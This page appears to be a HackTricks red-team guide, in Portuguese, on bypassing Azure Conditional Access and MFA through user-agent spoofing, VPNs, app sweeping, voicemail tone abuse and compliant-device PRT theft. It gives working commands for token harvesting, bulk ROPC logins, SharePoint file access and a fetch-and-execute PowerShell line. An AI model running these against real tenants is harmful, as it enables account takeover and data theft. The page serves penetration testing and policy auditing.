Az - Conditional Access Policies & MFA Bypass

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

Informações Básicas

Azure Conditional Access policies são regras definidas no Microsoft Azure para aplicar controles de acesso a serviços e aplicações do Azure com base em certas condições. Essas políticas ajudam as organizações a proteger seus recursos aplicando os controles de acesso certos nas circunstâncias corretas.
As Conditional Access policies basicamente definem Quem pode acessar O quê de Onde e Como.

Aqui estão alguns exemplos:

  1. Sign-In Risk Policy: Essa política pode ser configurada para exigir autenticação multifator (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum comparado ao seu padrão regular, como fazer login a partir de outro país, o sistema pode solicitar autenticação adicional.
  2. Device Compliance Policy: Essa política pode restringir o acesso a serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso poderia ser permitido apenas a partir de dispositivos que possuam antivírus atualizado ou que estejam executando uma determinada versão do sistema operacional.

Enumeração

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Políticas de Acesso Condicional Bypasses

É possível que uma política de acesso condicional esteja verificando algumas informações que podem ser facilmente adulteradas permitindo um bypass da política. E, por exemplo, se a política estivesse configurando MFA, o atacante será capaz de contorná-la.

Ao configurar uma política de acesso condicional é necessário indicar os usuários afetados e os recursos alvo (como todas as cloud apps).

Também é necessário configurar as condições que irão acionar a política:

  • Network: IP, IP ranges e localizações geográficas
  • Pode ser contornado usando uma VPN ou Proxy para conectar a um país permitido ou conseguindo fazer login a partir de um endereço IP permitido
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
  • Se “Any device” não estiver selecionado mas todas as outras opções estiverem, é possível bypassar isso usando um user-agent aleatório não relacionado àquelas plataformas
  • Client apps: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
  • Para bypassar, efetuar login com uma opção não selecionada
  • Filter for devices: É possível gerar uma regra relacionada ao dispositivo usado
  • Authentication flows: Options are “Device code flow” and “Authentication transfer”
  • Isso não afetará um atacante a menos que ele esteja tentando abusar de qualquer um desses protocolos em uma tentativa de phishing para acessar a conta da vítima

Os possíveis resultados são: Bloquear ou Conceder acesso com potenciais condições como exigir MFA, dispositivo estar em conformidade…

Plataformas de Dispositivo - Condição do Dispositivo

É possível definir uma condição baseada na plataforma do dispositivo (Android, iOS, Windows, macOS…), entretanto isso se baseia no user-agent, então é fácil de contornar. Mesmo forçando MFA em todas as opções, se você usar um user-agent que não seja reconhecido, você conseguirá bypassar o MFA ou o bloqueio:

Basta fazer o browser enviar um user-agent desconhecido (como Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) para não acionar essa condição.
Você pode mudar o user agent manualmente nas ferramentas do desenvolvedor:

Ou use uma browser extension like this one.

Localizações: Países, intervalos de IP - Condição do Dispositivo

Se isso estiver definido na política condicional, um atacante poderia simplesmente usar uma VPN no país permitido ou tentar encontrar uma forma de acessar a partir de um endereço IP permitido para contornar essas condições.

Cloud Apps

É possível configurar políticas de acesso condicional para bloquear ou forçar, por exemplo, MFA quando um usuário tenta acessar um app específico:

Para tentar bypassar essa proteção você deve verificar se consegue efetuar login em qualquer aplicação.
A ferramenta AzureAppsSweep tem tens de application IDs hardcoded e tentará efetuar login neles, informando e até fornecendo o token se for bem-sucedida.

Para testar application IDs específicos em recursos específicos você também pode usar uma ferramenta como:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Além disso, também é possível proteger o método de login (por exemplo, se você está tentando fazer login a partir do navegador ou de um aplicativo desktop). A ferramenta Invoke-MFASweep realiza alguns cheques para tentar contornar essas proteções também.

A ferramenta donkeytoken também pode ser usada para propósitos semelhantes, embora pareça não mantida.

A ferramenta ROPCI também pode ser usada para testar essas proteções e ver se é possível contornar MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva whitebox. Primeiro você precisa baixar a lista de Apps permitidos no tenant e então ela tentará fazer login neles.

Outros Az MFA Bypasses

Toque

Uma opção do Azure MFA é receber uma chamada no número de telefone configurado, onde será pedido ao usuário para enviar o caractere #.

Caution

Como os caracteres são apenas tons, um atacante poderia comprometer a mensagem de voicemail do número de telefone, configurar como mensagem o tom de # e então, ao solicitar o MFA, certificar-se de que o telefone da vítima esteja ocupado (ligando para ele) para que a chamada do Azure seja direcionada para a caixa postal.

Dispositivos em conformidade

As políticas frequentemente exigem um dispositivo em conformidade ou MFA, então um atacante poderia registrar um dispositivo em conformidade, obter um token PRT e contornar o MFA dessa forma.

Comece registrando um dispositivo em conformidade no Intune, então obtenha o PRT com:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Encontre mais informações sobre este tipo de ataque na seguinte página:

Az - Primary Refresh Token (PRT)

Ferramentas

AzureAppsSweep

Este script obtém algumas credenciais de usuário e verifica se consegue fazer login em algumas aplicações.

Isto é útil para verificar se você não é obrigado a usar MFA para fazer login em algumas aplicações que pode mais tarde abusar para escalar privilégios.

roadrecon

Obtém todas as políticas

roadrecon plugin policies

Invoke-MFASweep

MFASweep é um script PowerShell que tenta fazer login em diversos serviços Microsoft usando um conjunto de credenciais fornecidas e tentará identificar se o MFA está habilitado. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifator estão configuradas, alguns protocolos podem acabar ficando com apenas um fator. Ele também possui uma verificação adicional para configurações ADFS e pode tentar fazer login no servidor ADFS on-prem se detectado.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Esta ferramenta ajudou a identificar bypasses de MFA e depois abusar de APIs em múltiplos tenants AAD de produção, onde clientes AAD acreditavam ter MFA imposta, mas a autenticação baseada em ROPC teve sucesso.

Tip

Você precisa ter permissões para listar todas as aplicações para poder gerar a lista de apps a brute-force.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token é um conjunto de funções que tem como objetivo ajudar consultores de segurança a validar Conditional Access Policies, testar portais Microsoft com 2FA habilitado, etc..

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Teste cada portal para verificar se é possível fazer login sem MFA:

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Como o Azure portal não é restrito, é possível coletar um token do endpoint do portal para acessar qualquer serviço detectado pela execução anterior. Neste caso, Sharepoint foi identificado e um token para acessá-lo é solicitado:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Supondo que o token tenha a permissão Sites.Read.All (do Sharepoint), mesmo que você não possa acessar o Sharepoint pela web por causa do MFA, é possível usar o token para acessar os arquivos com o token gerado:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks